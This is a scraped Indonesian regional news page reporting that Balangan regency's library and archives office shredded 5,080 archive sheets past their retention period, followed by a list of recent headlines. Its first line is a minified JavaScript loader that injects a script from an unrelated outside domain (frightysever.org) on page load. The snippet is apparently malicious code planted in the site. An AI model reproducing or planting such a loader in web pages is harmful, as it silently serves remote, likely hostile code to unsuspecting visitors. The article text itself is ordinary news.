(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Habis Masa Retensi, Dispersip Balangan Musnahkan 5.080 Lembar Arsip


KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan melakukan pemusnahan 5.080 berkas arsip yang telah habis masa retensi atau waktu simpan di aula Dispersip Balangan, Selasa (19/12/2023).

Kepala Dispersip Kabupaten Balangan, Rody Rahmady Noor mengatakan, pemusnahan berkas habis masa retensi tersebut merupakan berkas yang berasal dari eks Dinas Perpustakaan dengan kurun waktu tahun 2006 hingga tahun 2018 sebanyak 4.302 lembar berkas dan eks Dinas Kearsipan sebanyak 778 lembar berkas.

Baca juga: Tilep Dana BOS, Pengawas SD di Tapin Menangis Dituntut 15 Bulan Penjara

“Tujuan dari pemusnahan ini supaya penyimpanan arsip bisa lebih efisien dan efektif, baik dari segi biaya dan tenaga untuk memelihara arsip yang sudah tidak memiliki nilai guna itu lagi,” katanya.

Pemusnahan arsip dilakukan dengan menggunakan mesin pencacah kertas, agar limbah yang dihasilkan bisa diserahkan ke bank sampah untuk bisa kembali dimanfaatkan.

Baca juga: Menperin Patahkan Komentar Soal Indonesia Alami Deindustrialisasi

Rody berharap agar ke depan semua SKPD di Kabupaten Balangan bisa bekerja sama dengan Dispersip Balangan melakukan penelitian arsip-arsip yang perlu dimusnahkan ataupun dipertahankan.

Adapun berdasarkan Surat Keputusan Bupati Balangan Nomor 188.45/765/Kum tahun 2023 tentang pemusnahan arsip telah tercantum dalam pelaksanaan penyusutan dan pemusnahan arsip pada Peraturan Pemerintah Nomor 28 Tahun 2012 Pasal 66 Tentang Prosedur Pemusnahan Arsip. (Kanalkalimantan.com/mcbalangan/adv)

Editor : kk


Muhammad Andi

Recent Posts

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

4 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

7 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

7 jam ago

9 Klien Rehabilitasi Narkoba Dapat Pendampingan Kesbangpol dan BNNK HSU

KANALKALIMANTAN.COM, AMUNTAI - Sebanyak 9 klien rehabilitasi narkoba mendapat fasilitas dan pendampingan rujukan ke Balai… Read More

7 jam ago

DPKP Kabupaten Banjar Laksanakan Forum Perangkat Daerah

KANALKALIMANTAN.COM, MARTAPURA – Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) Kabupaten Banjar menggelar Forum Perangkat Daerah… Read More

20 jam ago

Hj Siti Saniah Ditetapkan sebagai Ibunda Guru Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Ketua Tim Penggerak PKK Kabupaten Kapuas Hj Siti Saniah secara resmi… Read More

23 jam ago